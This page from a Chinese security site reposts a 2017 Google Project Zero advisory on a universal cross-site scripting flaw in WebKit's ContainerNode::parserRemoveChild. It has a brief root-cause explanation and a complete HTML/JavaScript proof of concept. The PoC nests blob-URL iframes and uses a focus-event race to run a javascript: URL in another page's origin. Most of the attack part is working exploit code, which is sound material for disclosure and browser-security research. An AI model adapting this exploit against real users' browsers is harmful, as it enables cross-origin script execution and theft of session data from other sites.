首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WebKit - 'ContainerNode::parserRemoveChild' Universal Cross-Site Scripting
来源:Google Security Research 作者:Google 发布时间:2017-05-31  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1134
 
Here's a snippet of ContainerNode::parserRemoveChild.
 
void ContainerNode::parserRemoveChild(Node& oldChild)
{
    disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
    ...
    document().notifyRemovePendingSheetIfNeeded(); <<---- (b)
}
 
subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again.
 
PoC:
-->
 
<html>
<head>
</head>
<body>
<script>
 
let xml = `
<body>
    <div>
        <b>
            <p>
                <script>
                let p = document.querySelector('p');
                let link = p.appendChild(document.createElement('link'));
                link.rel = 'stylesheet';
                link.href = 'data:,aaaaazxczxczzxzcz';
 
                let btn = document.body.appendChild(document.createElement('button'));
                btn.id = 'btn';
                btn.onfocus = () => {
                    btn.onfocus = null;
 
                    window.d = document.querySelector('div');
                    window.d.remove();
 
                    link.remove();
                    document.body.appendChild(p);
 
                    let m = p.appendChild(document.createElement('iframe'));
                    setTimeout(() => {
                        document.documentElement.innerHTML = '';
 
                        m.onload = () => {
                            m.onload = null;
 
                            m.src = 'javascript:alert(location);';
                            var xml = \`
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);
</sc\` + \`ript>
<element a="1" a="2" />
</svg>\`;
 
                            var tmp = document.documentElement.appendChild(document.createElement('iframe'));
                            tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
                        };
                        m.src = 'https://abc.xyz/';
                    }, 0);
                };
 
                location.hash = 'btn';
                </scrip` + `t>
            </b>
        </p>
    </div>
</body>`;
 
let tf = document.body.appendChild(document.createElement('iframe'));
tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'}));
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple WebKit / Safari 10.0.3(1
·WebKit - enqueuePageshowEvent
·Apple WebKit / Safari 10.0.3(1
·WebKit - Stealing Variables vi
·Samba 3.5.0 - Remote Code Exec
·Apple Safari 10.0.3(12602.4.8)
·Samba is_known_pipename() Arbi
·Skia Graphics Library - Heap O
·Dup Scout Enterprise 9.7.18 -
·Mozilla Firefox < 53 - 'gfxTex
·NetGain EM 7.2.647 build 941 -
·Mozilla Firefox < 53 - 'Convol
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved